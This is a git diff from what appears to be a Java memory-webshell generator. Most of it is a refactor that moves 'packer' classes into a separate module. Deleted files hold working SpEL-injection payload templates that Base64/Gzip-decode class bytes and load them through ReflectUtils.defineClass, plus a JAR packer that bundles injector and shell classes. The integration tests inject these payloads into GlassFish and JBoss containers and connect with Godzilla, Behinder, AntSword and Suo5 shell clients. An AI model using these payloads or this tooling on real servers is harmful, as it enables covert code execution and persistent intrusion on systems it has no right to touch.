|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/10
|
|
||||||
*/
|
|
||||||
public class JavaDeserializePacker implements AggregatePacker {
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.groovy;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class GroovyPacker implements AggregatePacker {
|
|
||||||
|
|
||||||
}
|
|
||||||
-37
@@ -1,37 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.util.jar.JarEntry;
|
|
||||||
import java.util.jar.JarOutputStream;
|
|
||||||
import java.util.jar.Manifest;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/22
|
|
||||||
*/
|
|
||||||
public class DefaultJarPacker implements JarPacker {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public byte[] packBytes(GenerateResult generateResult) {
|
|
||||||
String mainClass = generateResult.getInjectorClassName().replace('.', '/') + ".class";
|
|
||||||
String advisorClass = generateResult.getShellClassName().replace('.', '/') + ".class";
|
|
||||||
|
|
||||||
Manifest manifest = new Manifest();
|
|
||||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
|
||||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
|
||||||
targetJar.putNextEntry(new JarEntry(mainClass));
|
|
||||||
targetJar.write(generateResult.getInjectorBytes());
|
|
||||||
targetJar.closeEntry();
|
|
||||||
|
|
||||||
targetJar.putNextEntry(new JarEntry(advisorClass));
|
|
||||||
targetJar.write(generateResult.getShellBytes());
|
|
||||||
targetJar.closeEntry();
|
|
||||||
}
|
|
||||||
return byteArrayOutputStream.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/1
|
|
||||||
*/
|
|
||||||
public interface JarPacker extends Packer {
|
|
||||||
/**
|
|
||||||
* 将生成的内存马打包成 bytes
|
|
||||||
*
|
|
||||||
* @param generateResult 生成的内存马信息
|
|
||||||
* @return 字节数组
|
|
||||||
*/
|
|
||||||
byte[] packBytes(GenerateResult generateResult);
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jsp;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/26
|
|
||||||
*/
|
|
||||||
public class JspPacker implements AggregatePacker {
|
|
||||||
}
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.rhino;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/30
|
|
||||||
*/
|
|
||||||
public class RhinoPacker implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return Packers.ScriptEngine.getInstance().pack(generateResult);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.spel;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/26
|
|
||||||
*/
|
|
||||||
public class SpELPacker implements AggregatePacker {
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.spel;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class SpELSpringIOUtilsGzipPacker implements Packer {
|
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
|
||||||
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-18
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.spel;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class SpELSpringUtilsPacker implements Packer {
|
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
|
||||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -52,12 +52,8 @@ class GeneratorMainTest {
|
|||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
if (generateResult != null) {
|
if (generateResult != null) {
|
||||||
System.out.println(generateResult.getShellBytes().length);
|
System.out.println(generateResult.getShellBytes().length);
|
||||||
// System.out.println(((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult).length);
|
|
||||||
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()));
|
|
||||||
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
|
||||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
File diff suppressed because one or more lines are too long
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
@@ -18,7 +18,7 @@ class FreemarkerPackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String content = new String(packer.pack(generateResult));
|
String content = new String(packer.pack(generateResult.toClassPackerConfig()));
|
||||||
System.out.println(content);
|
System.out.println(content);
|
||||||
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.reajason.javaweb.packer.base64.GzipBase64Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
@@ -23,7 +23,7 @@ class GzipBase64Test {
|
|||||||
void compress() {
|
void compress() {
|
||||||
GenerateResult generateResult = new GenerateResult();
|
GenerateResult generateResult = new GenerateResult();
|
||||||
generateResult.setInjectorBytes("hello world".getBytes());
|
generateResult.setInjectorBytes("hello world".getBytes());
|
||||||
String pack = new GzipBase64Packer().pack(generateResult);
|
String pack = new GzipBase64Packer().pack(generateResult.toClassPackerConfig());
|
||||||
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack))));
|
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack))));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
import com.reajason.javaweb.packer.jsp.JspPacker;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
@@ -17,7 +17,7 @@ class JspPackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jspContent = new JspPacker().pack(generateResult);
|
String jspContent = new JspPacker().pack(generateResult.toClassPackerConfig());
|
||||||
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-7
@@ -1,13 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junit.jupiter.api.condition.EnabledOnJre;
|
|
||||||
import org.junit.jupiter.api.condition.JRE;
|
|
||||||
|
|
||||||
import javax.script.ScriptEngineManager;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
@@ -22,7 +17,7 @@ class ScriptEnginePackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()));
|
||||||
System.out.println(jsContent);
|
System.out.println(jsContent);
|
||||||
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-2
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.tomcat.command;
|
package com.reajason.javaweb.memshell.tomcat.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
@@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
@@ -70,7 +74,7 @@ class CommandFilterTest {
|
|||||||
|
|
||||||
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
|
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
|
||||||
String pack = Packers.ScriptEngine.getInstance().pack(generate);
|
String pack = Packers.ScriptEngine.getInstance().pack(generate.toClassPackerConfig());
|
||||||
System.out.println(pack);
|
System.out.println(pack);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,11 +13,11 @@ dependencies {
|
|||||||
testImplementation(project(":tools:suo5"))
|
testImplementation(project(":tools:suo5"))
|
||||||
testImplementation(project(":tools:ant-sword"))
|
testImplementation(project(":tools:ant-sword"))
|
||||||
testImplementation(project(":generator"))
|
testImplementation(project(":generator"))
|
||||||
|
testImplementation(project(":packer"))
|
||||||
testImplementation(libs.javax.servlet.api)
|
testImplementation(libs.javax.servlet.api)
|
||||||
testImplementation(libs.javax.websocket.api)
|
testImplementation(libs.javax.websocket.api)
|
||||||
testImplementation(libs.java.websocket)
|
testImplementation(libs.java.websocket)
|
||||||
testImplementation(libs.okhttp3)
|
testImplementation(libs.okhttp3)
|
||||||
testImplementation(libs.slf4j.simple)
|
|
||||||
testImplementation(libs.junit.platform.reporting)
|
testImplementation(libs.junit.platform.reporting)
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
+12
-8
@@ -4,12 +4,16 @@ import com.reajason.javaweb.antsword.AntSwordManager;
|
|||||||
import com.reajason.javaweb.behinder.BehinderManager;
|
import com.reajason.javaweb.behinder.BehinderManager;
|
||||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@@ -94,7 +98,7 @@ public class ShellAssertionTool {
|
|||||||
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
if (packer.getInstance() instanceof AgentJarPacker) {
|
if (packer.getInstance() instanceof AgentJarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
Files.write(tempJar, bytes);
|
Files.write(tempJar, bytes);
|
||||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
@@ -109,7 +113,7 @@ public class ShellAssertionTool {
|
|||||||
containsString("JVM response code = 0")
|
containsString("JVM response code = 0")
|
||||||
));
|
));
|
||||||
} else if (packer.getInstance() instanceof AgentJarWithJREAttacherPacker || packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
|
} else if (packer.getInstance() instanceof AgentJarWithJREAttacherPacker || packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
Files.write(tempJar, bytes);
|
Files.write(tempJar, bytes);
|
||||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
@@ -130,7 +134,7 @@ public class ShellAssertionTool {
|
|||||||
containsString("ok")
|
containsString("ok")
|
||||||
));
|
));
|
||||||
} else {
|
} else {
|
||||||
content = packer.getInstance().pack(generateResult);
|
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
log.info("send inject payload successfully");
|
log.info("send inject payload successfully");
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.glassfish;
|
package com.reajason.javaweb.integration.glassfish;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbossas;
|
package com.reajason.javaweb.integration.jbossas;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
